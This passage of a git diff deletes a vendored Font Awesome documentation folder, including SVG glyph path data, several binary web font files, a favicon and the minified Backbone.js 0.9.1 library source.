-3t-90.5 10q-6 38 -10 91t-5.5 110t-0.5 111zM617 650q0 -16 11 -27t27 -11q15 0 26 11t11 27 q0 15 -11 26t-26 11q-16 0 -27 -11t-11 -26z" />
-<glyph unicode="&#xf089;" horiz-adv-x="393" d="M0.5 465q4.5 13 25.5 16l238 34l106 216q9 19 23 19v-633l-212 -112q-20 -10 -31 -2t-7 30l41 236l-172 168q-16 15 -11.5 28z" />
-<glyph unicode="&#xf08a;" horiz-adv-x="846" d="M0 519q0 64 20.5 108t53 71.5t73.5 39.5t82 12q30 0 59 -10t54 -25t45.5 -32.5t35.5 -32.5q15 15 36 32.5t46 32.5t53.5 25t58.5 10q42 0 83 -12t73.5 -39.5t52.5 -71.5t20 -108q0 -44 -16.5 -83.5t-36 -69.5t-37 -48t-18.5 -19l-288 -288q-13 -11 -27 -11q-15 0 -26 11 l-290 288q-1 1 -18 19t-36.5 48t-36 69.5t-16.5 83.5zM75 519q0 -32 13 -61.5t29 -53t29 -37.5l14 -14l263 -263l263 262q1 1 14 15t29 37.5t29 53t13 61.5q0 48 -14 78.5t-36.5 48t-50 23.5t-53.5 6q-25 0 -50.5 -12t-48 -29t-40 -34.5t-26.5 -28.5q-11 -14 -29 -14t-29 14 q-9 11 -26.5 28.5t-40 34.5t-48 29t-50.5 12q-26 0 -53.5 -6t-50 -23.5t-36.5 -48t-14 -78.5z" />
-<glyph unicode="&#xf08b;" horiz-adv-x="825" d="M0 150v450q0 31 12 58t32.5 47.5t47.5 32.5t58 12h225v-94h-225q-23 0 -39.5 -16.5t-16.5 -39.5v-450q0 -23 16.5 -39.5t39.5 -16.5h225v-94h-225q-31 0 -58 12t-47.5 32.5t-32.5 47.5t-12 58zM248 285v180q0 16 11 26.5t27 10.5h209v143q0 20 19 28q19 7 32 -7l270 -270 q9 -9 9 -21.5t-9 -20.5l-270 -270q-9 -9 -21 -9q-5 0 -11 2q-19 8 -19 28v142h-209q-16 0 -27 11t-11 27z" />
-<glyph unicode="&#xf08c;" horiz-adv-x="750" d="M0 94v562q0 19 7.5 36.5t20 30t29.5 20t37 7.5h562q39 0 66.5 -27.5t27.5 -66.5v-562q0 -20 -7.5 -37t-20 -29.5t-30 -20t-36.5 -7.5h-562q-39 0 -66.5 27.5t-27.5 66.5zM101 582q0 -28 19.5 -47.5t46.5 -19.5q28 0 47.5 19.5t19.5 47.5q0 27 -19.5 46.5t-47.5 19.5 q-27 0 -46.5 -19.5t-19.5 -46.5zM104 117q0 -5 4.5 -9.5t9.5 -4.5h98q6 0 10 4.5t4 9.5v345q0 14 -14 14h-98q-5 0 -9.5 -4t-4.5 -10v-345zM283 117q0 -5 4.5 -9.5t9.5 -4.5h98q6 0 10 4.5t4 9.5v187q0 28 8 47q15 31 55 31q32 0 42 -19q7 -11 7 -35v-211q0 -5 4 -9.5 t10 -4.5h100q6 0 10 4.5t4 9.5v233q0 72 -42 104q-40 31 -103 31q-50 0 -85 -23q-4 -3 -13 -12v12q0 14 -14 14h-95q-5 0 -9.5 -4t-4.5 -10v-345z" />
-<glyph unicode="&#xf08d;" d="M1 461q4 38 21 80.5t47 82.5t65.5 68.5t71.5 43t68.5 14t56.5 -18.5q25 -18 34.5 -49.5t5.5 -70.5l141 -105q52 29 101.5 33.5t84.5 -21.5q25 -19 37.5 -50.5t11.5 -70.5t-14.5 -83.5t-39.5 -88.5l201 -193q5 -5 6 -12t-4 -12q-5 -8 -15 -8q-3 0 -9 2l-242 138 q-35 -37 -73.5 -63t-75.5 -38t-71 -9.5t-60 22.5q-35 26 -45 74.5t4 106.5l-141 106q-36 -15 -69 -15t-58 18q-24 18 -34 49.5t-6 69.5zM80 417.5q1 -7.5 8 -12.5q8 -7 22 -7q15 0 31.5 8t33.5 22t33.5 31.5t31.5 37.5q5 6 4 13.5t-8 12.5q-6 5 -13.5 4t-12.5 -8 q-37 -49 -65.5 -67.5t-34.5 -16.5q-6 5 -13.5 4t-12.5 -8q-5 -6 -4 -13.5zM219 368l170 -127q6 -4 11 -4q10 0 15 8q5 6 4 13.5t-7 12.5l-163 121q-15 -14 -30 -24zM393 141q-10 -16 4 -27q13 -10 33 -10q19 0 41 10t44.5 27t44.5 39t41 47q5 7 4 14.5t-8 12.5 q-6 5 -13.5 3.5t-12.5 -7.5q-24 -32 -48 -54.5t-45 -35.5t-36.5 -17t-22.5 2q-6 5 -13.5 3.5t-12.5 -7.5z" />
-<glyph unicode="&#xf08e;" d="M0 150v450q0 31 12 58.5t32 47.5t47.5 32t58.5 12h284q-1 -7 -2 -13.5t-1 -14.5v-43q0 -11 3 -23h-284q-23 0 -39.5 -16.5t-16.5 -39.5v-450q0 -23 16.5 -39.5t39.5 -16.5h525q23 0 39.5 16.5t16.5 39.5v166q20 -15 44 -24t50 -10v-132q0 -31 -12 -58t-32.5 -47.5 t-47.5 -32.5t-58 -12h-525q-31 0 -58.5 12t-47.5 32.5t-32 47.5t-12 58zM338 255q0 12 8 20l376 377h-131q-12 0 -20 8t-8 20v42q-1 11 7.5 19.5t20.5 8.5h281q11 0 19.5 -8.5t8.5 -19.5v-42v-239q0 -12 -8.5 -20.5t-19.5 -7.5h-42q-12 0 -20 8t-8 20v131l-377 -376 q-8 -8 -20 -8t-20 8l-39 39q-8 8 -8 20z" />
-<glyph unicode="&#xf090;" horiz-adv-x="825" d="M0 285v180q0 16 11 26.5t27 10.5h209v143q0 20 18 28q19 7 33 -7l270 -270q8 -9 8 -21.5t-8 -20.5l-270 -270q-9 -9 -21 -9q-4 0 -12 2q-18 8 -18 28v142h-209q-16 0 -27 11t-11 27zM450 0v94h225q23 0 39.5 16.5t16.5 39.5v450q0 23 -16.5 39.5t-39.5 16.5h-225v94h225 q31 0 58 -12t47.5 -32t32.5 -47.5t12 -58.5v-450q0 -31 -12 -58t-32.5 -47.5t-47.5 -32.5t-58 -12h-225z" />
-<glyph unicode="&#xf091;" horiz-adv-x="825" d="M0 509v91q0 16 11 26.5t27 10.5h158q-1 6 -1 13v11v2q0 26 2 43t7.5 26.5t15.5 13.5t27 4h331q16 0 26.5 -4t16 -13.5t7.5 -26.5t2 -43v-13q0 -6 -1 -13h158q16 0 27 -10.5t11 -26.5v-91q0 -31 -22 -64t-59.5 -62.5t-88 -52t-108.5 -31.5q-25 -5 -44.5 -20.5t-19.5 -34.5 q0 -17 8.5 -25t19 -15t19.5 -15.5t11 -25.5q2 -11 -1 -23q-2 -7 11.5 -11.5t33 -9t40 -11t31.5 -16.5q6 -5 9.5 -19.5t4.5 -31.5q1 -16 -3 -28.5t-14 -12.5h-481q-10 0 -14 12.5t-3 28.5q1 17 4.5 31.5t9.5 19.5q11 10 31 16.5t39.5 11t33.5 9t12 11.5t-2 12v11 q1 17 10.5 25.5t20.5 15.5t19.5 15t8.5 25q0 19 -19.5 34.5t-45.5 20.5q-57 10 -107.5 32.5t-88 51.5t-59.5 62t-22 64zM75 509q0 -10 11.5 -26.5t33 -34.5t52 -35t68.5 -29q-12 39 -21.5 85.5t-16.5 92.5h-127v-53zM585 384q38 12 68.5 29t52 35t33 34.5t11.5 26.5v53h-128 q-6 -46 -15.5 -92.5t-21.5 -85.5z" />
-<glyph unicode="&#xf092;" horiz-adv-x="750" d="M0 94v562q0 19 7.5 36.5t20 30t29.5 20t37 7.5h562q39 0 66.5 -27.5t27.5 -66.5v-562q0 -20 -7.5 -37t-20 -29.5t-30 -20t-36.5 -7.5h-562q-39 0 -66.5 27.5t-27.5 66.5zM94 321q0 -44 11 -82.5t41.5 -67t85.5 -45t143 -16.5t142.5 16.5t85.5 45t42 67t11 82.5 q0 73 -46 127q4 16 5 36t-1.5 39t-7.5 36t-12 29h-14q-42 -2 -74 -22t-63 -37l-7 1q-8 0 -18.5 1t-22 1.5t-20.5 0.5q-18 0 -35 -1t-33 -3q-31 17 -63 37t-74 22h-14q-8 -12 -12.5 -29t-7 -36t-1.5 -39t5 -36q-46 -54 -46 -127zM183 289q15 60 84 67q13 2 27 1.5t30 -1.5 q7 0 25.5 -1t25.5 -1t25.5 1t25.5 1q16 1 30 1.5t26 -1.5q70 -7 85 -67q8 -33 -3 -61.5t-24 -41.5q-20 -20 -66 -32t-99 -12t-99 12t-66 32q-13 13 -24 41.5t-3 61.5zM242 265q0 -23 11 -39t27 -16t27 16t11 39t-11 38.5t-27 15.5t-27 -15.5t-11 -38.5zM432 265 q0 -23 11 -39t27 -16t27 16t11 39t-11 38.5t-27 15.5t-27 -15.5t-11 -38.5z" />
-<glyph unicode="&#xf093;" d="M0 19v300q0 8 5.5 13.5t13.5 5.5h112q8 0 13.5 -5.5t5.5 -13.5v-169h600v169q0 8 5.5 13.5t13.5 5.5h112q8 0 13.5 -5.5t5.5 -13.5v-300q0 -19 -19 -19h-862q-19 0 -19 19zM169 473.5q-3 7.5 8 18.5l246 247q11 11 27 11t27 -11l247 -247q11 -11 7.5 -18.5t-18.5 -7.5 h-150v-244q0 -16 -11 -27t-27 -11h-150q-16 0 -26.5 11t-10.5 27v244h-150q-16 0 -19 7.5z" />
-<glyph unicode="&#xf094;" horiz-adv-x="786" d="M1 251q-1 17 0.5 33.5t3.5 36.5q2 17 3.5 35t4.5 32q7 32 15 62.5t22 57.5q10 20 22 39.5t26 38.5q5 7 10.5 12t11.5 10l22 22q11 11 24 21t28 18t32 16q16 8 33 14.5t35 13.5q34 14 76 25l1 1q22 6 41.5 8.5t38.5 2.5q29 0 55 -4.5t52 -9.5q20 -4 41.5 -7.5t45.5 -3.5h1 q14 0 30.5 2.5t32.5 2.5q12 0 22 -3t16 -12q11 -15 12.5 -35t-0.5 -37t-4 -34.5t1 -35.5q2 -11 5.5 -19t7.5 -18q4 -9 5.5 -19.5t3.5 -20.5q9 -51 7.5 -95.5t-11.5 -83t-27.5 -72.5t-39.5 -65q-18 -24 -38.5 -47.5t-45 -44.5t-54 -38t-65.5 -29q-37 -13 -77.5 -16.5 t-77.5 -5.5h-15q-51 0 -95 8t-94 8h-2q-17 0 -37.5 -5t-40.5 -6h-1q-18 0 -32 8.5t-21 20.5q-10 17 -8.5 35.5t6.5 33.5t5 32.5t-2.5 37t-6 39.5t-4.5 40z" />
-<glyph unicode="&#xf095;" horiz-adv-x="1000" />
-</font>
-</defs></svg> 
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/font/fontawesome-webfont.svgz b/assets/font-awesome/docs/assets/font/fontawesome-webfont.svgz
deleted file mode 100755
index 2a73cd7c..00000000
Binary files a/assets/font-awesome/docs/assets/font/fontawesome-webfont.svgz and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/fontawesome-webfont.ttf b/assets/font-awesome/docs/assets/font/fontawesome-webfont.ttf
deleted file mode 100755
index 4972eb45..00000000
Binary files a/assets/font-awesome/docs/assets/font/fontawesome-webfont.ttf and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/fontawesome-webfont.woff b/assets/font-awesome/docs/assets/font/fontawesome-webfont.woff
deleted file mode 100755
index 6e4cb41f..00000000
Binary files a/assets/font-awesome/docs/assets/font/fontawesome-webfont.woff and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/museo_slab_300-webfont.eot b/assets/font-awesome/docs/assets/font/museo_slab_300-webfont.eot
deleted file mode 100755
index 33249994..00000000
Binary files a/assets/font-awesome/docs/assets/font/museo_slab_300-webfont.eot and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/museo_slab_300-webfont.ttf b/assets/font-awesome/docs/assets/font/museo_slab_300-webfont.ttf
deleted file mode 100755
index 9248b9a4..00000000
Binary files a/assets/font-awesome/docs/assets/font/museo_slab_300-webfont.ttf and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/museo_slab_500-webfont.eot b/assets/font-awesome/docs/assets/font/museo_slab_500-webfont.eot
deleted file mode 100755
index 2eb7a897..00000000
Binary files a/assets/font-awesome/docs/assets/font/museo_slab_500-webfont.eot and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/museo_slab_500-webfont.ttf b/assets/font-awesome/docs/assets/font/museo_slab_500-webfont.ttf
deleted file mode 100755
index bf78a2ae..00000000
Binary files a/assets/font-awesome/docs/assets/font/museo_slab_500-webfont.ttf and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/museosans_300-webfont.eot b/assets/font-awesome/docs/assets/font/museosans_300-webfont.eot
deleted file mode 100755
index 8eed484f..00000000
Binary files a/assets/font-awesome/docs/assets/font/museosans_300-webfont.eot and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/museosans_300-webfont.ttf b/assets/font-awesome/docs/assets/font/museosans_300-webfont.ttf
deleted file mode 100755
index 0acfcd5d..00000000
Binary files a/assets/font-awesome/docs/assets/font/museosans_300-webfont.ttf and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/museosans_500-webfont.eot b/assets/font-awesome/docs/assets/font/museosans_500-webfont.eot
deleted file mode 100755
index 2d58fb40..00000000
Binary files a/assets/font-awesome/docs/assets/font/museosans_500-webfont.eot and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/museosans_500-webfont.ttf b/assets/font-awesome/docs/assets/font/museosans_500-webfont.ttf
deleted file mode 100755
index ee84ce33..00000000
Binary files a/assets/font-awesome/docs/assets/font/museosans_500-webfont.ttf and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/ico/favicon.ico b/assets/font-awesome/docs/assets/ico/favicon.ico
deleted file mode 100755
index 742243e3..00000000
Binary files a/assets/font-awesome/docs/assets/ico/favicon.ico and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/js/backbone.min.js b/assets/font-awesome/docs/assets/js/backbone.min.js
deleted file mode 100755
index 5846b325..00000000
--- a/assets/font-awesome/docs/assets/js/backbone.min.js
+++ /dev/null
@@ -1,37 +0,0 @@
-// Backbone.js 0.9.1
-
-// (c) 2010-2012 Jeremy Ashkenas, DocumentCloud Inc.
-// Backbone may be freely distributed under the MIT license.
-// For all details and documentation:
-// http://backbonejs.org
-(function(){var i=this,r=i.Backbone,s=Array.prototype.slice,t=Array.prototype.splice,g;g="undefined"!==typeof exports?exports:i.Backbone={};g.VERSION="0.9.1";var f=i._;!f&&"undefined"!==typeof require&&(f=require("underscore"));var h=i.jQuery||i.Zepto||i.ender;g.setDomLibrary=function(a){h=a};g.noConflict=function(){i.Backbone=r;return this};g.emulateHTTP=!1;g.emulateJSON=!1;g.Events={on:function(a,b,c){for(var d,a=a.split(/\s+/),e=this._callbacks||(this._callbacks={});d=a.shift();){d=e[d]||(e[d]=
-{});var f=d.tail||(d.tail=d.next={});f.callback=b;f.context=c;d.tail=f.next={}}return this},off:function(a,b,c){var d,e,f;if(a){if(e=this._callbacks)for(a=a.split(/\s+/);d=a.shift();)if(f=e[d],delete e[d],b&&f)for(;(f=f.next)&&f.next;)if(!(f.callback===b&&(!c||f.context===c)))this.on(d,f.callback,f.context)}else delete this._callbacks;return this},trigger:function(a){var b,c,d,e;if(!(d=this._callbacks))return this;e=d.all;for((a=a.split(/\s+/)).push(null);b=a.shift();)e&&a.push({next:e.next,tail:e.tail,
-event:b}),(c=d[b])&&a.push({next:c.next,tail:c.tail});for(e=s.call(arguments,1);c=a.pop();){b=c.tail;for(d=c.event?[c.event].concat(e):e;(c=c.next)!==b;)c.callback.apply(c.context||this,d)}return this}};g.Events.bind=g.Events.on;g.Events.unbind=g.Events.off;g.Model=function(a,b){var c;a||(a={});b&&b.parse&&(a=this.parse(a));if(c=j(this,"defaults"))a=f.extend({},c,a);b&&b.collection&&(this.collection=b.collection);this.attributes={};this._escapedAttributes={};this.cid=f.uniqueId("c");if(!this.set(a,
-{silent:!0}))throw Error("Can't create an invalid model");delete this._changed;this._previousAttributes=f.clone(this.attributes);this.initialize.apply(this,arguments)};f.extend(g.Model.prototype,g.Events,{idAttribute:"id",initialize:function(){},toJSON:function(){return f.clone(this.attributes)},get:function(a){return this.attributes[a]},escape:function(a){var b;if(b=this._escapedAttributes[a])return b;b=this.attributes[a];return this._escapedAttributes[a]=f.escape(null==b?"":""+b)},has:function(a){return null!=
-this.attributes[a]},set:function(a,b,c){var d,e;f.isObject(a)||null==a?(d=a,c=b):(d={},d[a]=b);c||(c={});if(!d)return this;d instanceof g.Model&&(d=d.attributes);if(c.unset)for(e in d)d[e]=void 0;if(!this._validate(d,c))return!1;this.idAttribute in d&&(this.id=d[this.idAttribute]);var b=this.attributes,k=this._escapedAttributes,n=this._previousAttributes||{},h=this._setting;this._changed||(this._changed={});this._setting=!0;for(e in d)if(a=d[e],f.isEqual(b[e],a)||delete k[e],c.unset?delete b[e]:b[e]=
-a,this._changing&&!f.isEqual(this._changed[e],a)&&(this.trigger("change:"+e,this,a,c),this._moreChanges=!0),delete this._changed[e],!f.isEqual(n[e],a)||f.has(b,e)!=f.has(n,e))this._changed[e]=a;h||(!c.silent&&this.hasChanged()&&this.change(c),this._setting=!1);return this},unset:function(a,b){(b||(b={})).unset=!0;return this.set(a,null,b)},clear:function(a){(a||(a={})).unset=!0;return this.set(f.clone(this.attributes),a)},fetch:function(a){var a=a?f.clone(a):{},b=this,c=a.success;a.success=function(d,
-e,f){if(!b.set(b.parse(d,f),a))return!1;c&&c(b,d)};a.error=g.wrapError(a.error,b,a);return(this.sync||g.sync).call(this,"read",this,a)},save:function(a,b,c){var d,e;f.isObject(a)||null==a?(d=a,c=b):(d={},d[a]=b);c=c?f.clone(c):{};c.wait&&(e=f.clone(this.attributes));a=f.extend({},c,{silent:!0});if(d&&!this.set(d,c.wait?a:c))return!1;var k=this,h=c.success;c.success=function(a,b,e){b=k.parse(a,e);c.wait&&(b=f.extend(d||{},b));if(!k.set(b,c))return!1;h?h(k,a):k.trigger("sync",k,a,c)};c.error=g.wrapError(c.error,
-k,c);b=this.isNew()?"create":"update";b=(this.sync||g.sync).call(this,b,this,c);c.wait&&this.set(e,a);return b},destroy:function(a){var a=a?f.clone(a):{},b=this,c=a.success,d=function(){b.trigger("destroy",b,b.collection,a)};if(this.isNew())return d();a.success=function(e){a.wait&&d();c?c(b,e):b.trigger("sync",b,e,a)};a.error=g.wrapError(a.error,b,a);var e=(this.sync||g.sync).call(this,"delete",this,a);a.wait||d();return e},url:function(){var a=j(this.collection,"url")||j(this,"urlRoot")||o();return this.isNew()?
-a:a+("/"==a.charAt(a.length-1)?"":"/")+encodeURIComponent(this.id)},parse:function(a){return a},clone:function(){return new this.constructor(this.attributes)},isNew:function(){return null==this.id},change:function(a){if(this._changing||!this.hasChanged())return this;this._moreChanges=this._changing=!0;for(var b in this._changed)this.trigger("change:"+b,this,this._changed[b],a);for(;this._moreChanges;)this._moreChanges=!1,this.trigger("change",this,a);this._previousAttributes=f.clone(this.attributes);
-delete this._changed;this._changing=!1;return this},hasChanged:function(a){return!arguments.length?!f.isEmpty(this._changed):this._changed&&f.has(this._changed,a)},changedAttributes:function(a){if(!a)return this.hasChanged()?f.clone(this._changed):!1;var b,c=!1,d=this._previousAttributes,e;for(e in a)if(!f.isEqual(d[e],b=a[e]))(c||(c={}))[e]=b;return c},previous:function(a){return!arguments.length||!this._previousAttributes?null:this._previousAttributes[a]},previousAttributes:function(){return f.clone(this._previousAttributes)},
-isValid:function(){return!this.validate(this.attributes)},_validate:function(a,b){if(b.silent||!this.validate)return!0;var a=f.extend({},this.attributes,a),c=this.validate(a,b);if(!c)return!0;b&&b.error?b.error(this,c,b):this.trigger("error",this,c,b);return!1}});g.Collection=function(a,b){b||(b={});b.comparator&&(this.comparator=b.comparator);this._reset();this.initialize.apply(this,arguments);a&&this.reset(a,{silent:!0,parse:b.parse})};f.extend(g.Collection.prototype,g.Events,{model:g.Model,initialize:function(){},
-toJSON:function(){return this.map(function(a){return a.toJSON()})},add:function(a,b){var c,d,e,g,h,i={},j={};b||(b={});a=f.isArray(a)?a.slice():[a];for(c=0,d=a.length;c<d;c++){if(!(e=a[c]=this._prepareModel(a[c],b)))throw Error("Can't add an invalid model to a collection");if(i[g=e.cid]||this._byCid[g]||null!=(h=e.id)&&(j[h]||this._byId[h]))throw Error("Can't add the same model to a collection twice");i[g]=j[h]=e}for(c=0;c<d;c++)(e=a[c]).on("all",this._onModelEvent,this),this._byCid[e.cid]=e,null!=
-e.id&&(this._byId[e.id]=e);this.length+=d;t.apply(this.models,[null!=b.at?b.at:this.models.length,0].concat(a));this.comparator&&this.sort({silent:!0});if(b.silent)return this;for(c=0,d=this.models.length;c<d;c++)if(i[(e=this.models[c]).cid])b.index=c,e.trigger("add",e,this,b);return this},remove:function(a,b){var c,d,e,g;b||(b={});a=f.isArray(a)?a.slice():[a];for(c=0,d=a.length;c<d;c++)if(g=this.getByCid(a[c])||this.get(a[c]))delete this._byId[g.id],delete this._byCid[g.cid],e=this.indexOf(g),this.models.splice(e,
-1),this.length--,b.silent||(b.index=e,g.trigger("remove",g,this,b)),this._removeReference(g);return this},get:function(a){return null==a?null:this._byId[null!=a.id?a.id:a]},getByCid:function(a){return a&&this._byCid[a.cid||a]},at:function(a){return this.models[a]},sort:function(a){a||(a={});if(!this.comparator)throw Error("Cannot sort a set without a comparator");var b=f.bind(this.comparator,this);1==this.comparator.length?this.models=this.sortBy(b):this.models.sort(b);a.silent||this.trigger("reset",
-this,a);return this},pluck:function(a){return f.map(this.models,function(b){return b.get(a)})},reset:function(a,b){a||(a=[]);b||(b={});for(var c=0,d=this.models.length;c<d;c++)this._removeReference(this.models[c]);this._reset();this.add(a,{silent:!0,parse:b.parse});b.silent||this.trigger("reset",this,b);return this},fetch:function(a){a=a?f.clone(a):{};void 0===a.parse&&(a.parse=!0);var b=this,c=a.success;a.success=function(d,e,f){b[a.add?"add":"reset"](b.parse(d,f),a);c&&c(b,d)};a.error=g.wrapError(a.error,
-b,a);return(this.sync||g.sync).call(this,"read",this,a)},create:function(a,b){var c=this,b=b?f.clone(b):{},a=this._prepareModel(a,b);if(!a)return!1;b.wait||c.add(a,b);var d=b.success;b.success=function(e,f){b.wait&&c.add(e,b);d?d(e,f):e.trigger("sync",a,f,b)};a.save(null,b);return a},parse:function(a){return a},chain:function(){return f(this.models).chain()},_reset:function(){this.length=0;this.models=[];this._byId={};this._byCid={}},_prepareModel:function(a,b){a instanceof g.Model?a.collection||
-(a.collection=this):(b.collection=this,a=new this.model(a,b),a._validate(a.attributes,b)||(a=!1));return a},_removeReference:function(a){this==a.collection&&delete a.collection;a.off("all",this._onModelEvent,this)},_onModelEvent:function(a,b,c,d){("add"==a||"remove"==a)&&c!=this||("destroy"==a&&this.remove(b,d),b&&a==="change:"+b.idAttribute&&(delete this._byId[b.previous(b.idAttribute)],this._byId[b.id]=b),this.trigger.apply(this,arguments))}});f.each("forEach,each,map,reduce,reduceRight,find,detect,filter,select,reject,every,all,some,any,include,contains,invoke,max,min,sortBy,sortedIndex,toArray,size,first,initial,rest,last,without,indexOf,shuffle,lastIndexOf,isEmpty,groupBy".split(","),
-function(a){g.Collection.prototype[a]=function(){return f[a].apply(f,[this.models].concat(f.toArray(arguments)))}});g.Router=function(a){a||(a={});a.routes&&(this.routes=a.routes);this._bindRoutes();this.initialize.apply(this,arguments)};var u=/:\w+/g,v=/\*\w+/g,w=/[-[\]{}()+?.,\\^$|#\s]/g;f.extend(g.Router.prototype,g.Events,{initialize:function(){},route:function(a,b,c){g.history||(g.history=new g.History);f.isRegExp(a)||(a=this._routeToRegExp(a));c||(c=this[b]);g.history.route(a,f.bind(function(d){d=
-this._extractParameters(a,d);c&&c.apply(this,d);this.trigger.apply(this,["route:"+b].concat(d));g.history.trigger("route",this,b,d)},this));return this},navigate:function(a,b){g.history.navigate(a,b)},_bindRoutes:function(){if(this.routes){var a=[],b;for(b in this.routes)a.unshift([b,this.routes[b]]);b=0;for(var c=a.length;b<c;b++)this.route(a[b][0],a[b][1],this[a[b][1]])}},_routeToRegExp:function(a){a=a.replace(w,"\\$&").replace(u,"([^/]+)").replace(v,"(.*?)");return RegExp("^"+a+"$")},_extractParameters:function(a,
-b){return a.exec(b).slice(1)}});g.History=function(){this.handlers=[];f.bindAll(this,"checkUrl")};var m=/^[#\/]/,x=/msie [\w.]+/,l=!1;f.extend(g.History.prototype,g.Events,{interval:50,getFragment:function(a,b){if(null==a)if(this._hasPushState||b){var a=window.location.pathname,c=window.location.search;c&&(a+=c)}else a=window.location.hash;a=decodeURIComponent(a);a.indexOf(this.options.root)||(a=a.substr(this.options.root.length));return a.replace(m,"")},start:function(a){if(l)throw Error("Backbone.history has already been started");
-this.options=f.extend({},{root:"/"},this.options,a);this._wantsHashChange=!1!==this.options.hashChange;this._wantsPushState=!!this.options.pushState;this._hasPushState=!(!this.options.pushState||!window.history||!window.history.pushState);var a=this.getFragment(),b=document.documentMode;if(b=x.exec(navigator.userAgent.toLowerCase())&&(!b||7>=b))this.iframe=h('<iframe src="javascript:0" tabindex="-1" />').hide().appendTo("body")[0].contentWindow,this.navigate(a);this._hasPushState?h(window).bind("popstate",
-this.checkUrl):this._wantsHashChange&&"onhashchange"in window&&!b?h(window).bind("hashchange",this.checkUrl):this._wantsHashChange&&(this._checkUrlInterval=setInterval(this.checkUrl,this.interval));this.fragment=a;l=!0;a=window.location;b=a.pathname==this.options.root;if(this._wantsHashChange&&this._wantsPushState&&!this._hasPushState&&!b)return this.fragment=this.getFragment(null,!0),window.location.replace(this.options.root+"#"+this.fragment),!0;this._wantsPushState&&this._hasPushState&&b&&a.hash&&
-(this.fragment=a.hash.replace(m,""),window.history.replaceState({},document.title,a.protocol+"//"+a.host+this.options.root+this.fragment));if(!this.options.silent)return this.loadUrl()},stop:function(){h(window).unbind("popstate",this.checkUrl).unbind("hashchange",this.checkUrl);clearInterval(this._checkUrlInterval);l=!1},route:function(a,b){this.handlers.unshift({route:a,callback:b})},checkUrl:function(){var a=this.getFragment();a==this.fragment&&this.iframe&&(a=this.getFragment(this.iframe.location.hash));
-if(a==this.fragment||a==decodeURIComponent(this.fragment))return!1;this.iframe&&this.navigate(a);this.loadUrl()||this.loadUrl(window.location.hash)},loadUrl:function(a){var b=this.fragment=this.getFragment(a);return f.any(this.handlers,function(a){if(a.route.test(b))return a.callback(b),!0})},navigate:function(a,b){if(!l)return!1;if(!b||!0===b)b={trigger:b};var c=(a||"").replace(m,"");this.fragment==c||this.fragment==decodeURIComponent(c)||(this._hasPushState?(0!=c.indexOf(this.options.root)&&(c=
-this.options.root+c),this.fragment=c,window.history[b.replace?"replaceState":"pushState"]({},document.title,c)):this._wantsHashChange?(this.fragment=c,this._updateHash(window.location,c,b.replace),this.iframe&&c!=this.getFragment(this.iframe.location.hash)&&(b.replace||this.iframe.document.open().close(),this._updateHash(this.iframe.location,c,b.replace))):window.location.assign(this.options.root+a),b.trigger&&this.loadUrl(a))},_updateHash:function(a,b,c){c?a.replace(a.toString().replace(/(javascript:|#).*$/,
-"")+"#"+b):a.hash=b}});g.View=function(a){this.cid=f.uniqueId("view");this._configure(a||{});this._ensureElement();this.initialize.apply(this,arguments);this.delegateEvents()};var y=/^(\S+)\s*(.*)$/,p="model,collection,el,id,attributes,className,tagName".split(",");f.extend(g.View.prototype,g.Events,{tagName:"div",$:function(a){return this.$el.find(a)},initialize:function(){},render:function(){return this},remove:function(){this.$el.remove();return this},make:function(a,b,c){a=document.createElement(a);
-b&&h(a).attr(b);c&&h(a).html(c);return a},setElement:function(a,b){this.$el=h(a);this.el=this.$el[0];!1!==b&&this.delegateEvents();return this},delegateEvents:function(a){if(a||(a=j(this,"events"))){this.undelegateEvents();for(var b in a){var c=a[b];f.isFunction(c)||(c=this[a[b]]);if(!c)throw Error('Event "'+a[b]+'" does not exist');var d=b.match(y),e=d[1],d=d[2],c=f.bind(c,this),e=e+(".delegateEvents"+this.cid);""===d?this.$el.bind(e,c):this.$el.delegate(d,e,c)}}},undelegateEvents:function(){this.$el.unbind(".delegateEvents"+
-this.cid)},_configure:function(a){this.options&&(a=f.extend({},this.options,a));for(var b=0,c=p.length;b<c;b++){var d=p[b];a[d]&&(this[d]=a[d])}this.options=a},_ensureElement:function(){if(this.el)this.setElement(this.el,!1);else{var a=j(this,"attributes")||{};this.id&&(a.id=this.id);this.className&&(a["class"]=this.className);this.setElement(this.make(this.tagName,a),!1)}}});g.Model.extend=g.Collection.extend=g.Router.extend=g.View.extend=function(a,b){var c=z(this,a,b);c.extend=this.extend;return c};
-var A={create:"POST",update:"PUT","delete":"DELETE",read:"GET"};g.sync=function(a,b,c){var d=A[a],e={type:d,dataType:"json"};c.url||(e.url=j(b,"url")||o());if(!c.data&&b&&("create"==a||"update"==a))e.contentType="application/json",e.data=JSON.stringify(b.toJSON());g.emulateJSON&&(e.contentType="application/x-www-form-urlencoded",e.data=e.data?{model:e.data}:{});if(g.emulateHTTP&&("PUT"===d||"DELETE"===d))g.emulateJSON&&(e.data._method=d),e.type="POST",e.beforeSend=function(a){a.setRequestHeader("X-HTTP-Method-Override",
-d)};"GET"!==e.type&&!g.emulateJSON&&(e.processData=!1);return h.ajax(f.extend(e,c))};g.wrapError=function(a,b,c){return function(d,e){e=d===b?e:d;a?a(b,e,c):b.trigger("error",b,e,c)}};var q=function(){},z=function(a,b,c){var d;d=b&&b.hasOwnProperty("constructor")?b.constructor:function(){a.apply(this,arguments)};f.extend(d,a);q.prototype=a.prototype;d.prototype=new q;b&&f.extend(d.prototype,b);c&&f.extend(d,c);d.prototype.constructor=d;d.__super__=a.prototype;return d},j=function(a,b){return!a||!a[b]?
-null:f.isFunction(a[b])?a[b]():a[b]},o=function(){throw Error('A "url" property or function must be specified');}}).call(this);
diff --git a/assets/font-awesome/docs/assets/js/index/index.js b/assets/font-awesome/docs/assets/js/index/index.js
deleted file mode 100755
index 0858f0cf..00000000
--- a/assets/font-awesome/docs/assets/js/index/index.js
+++ /dev/null
@@ -1,25 +0,0 @@
-$(function() {
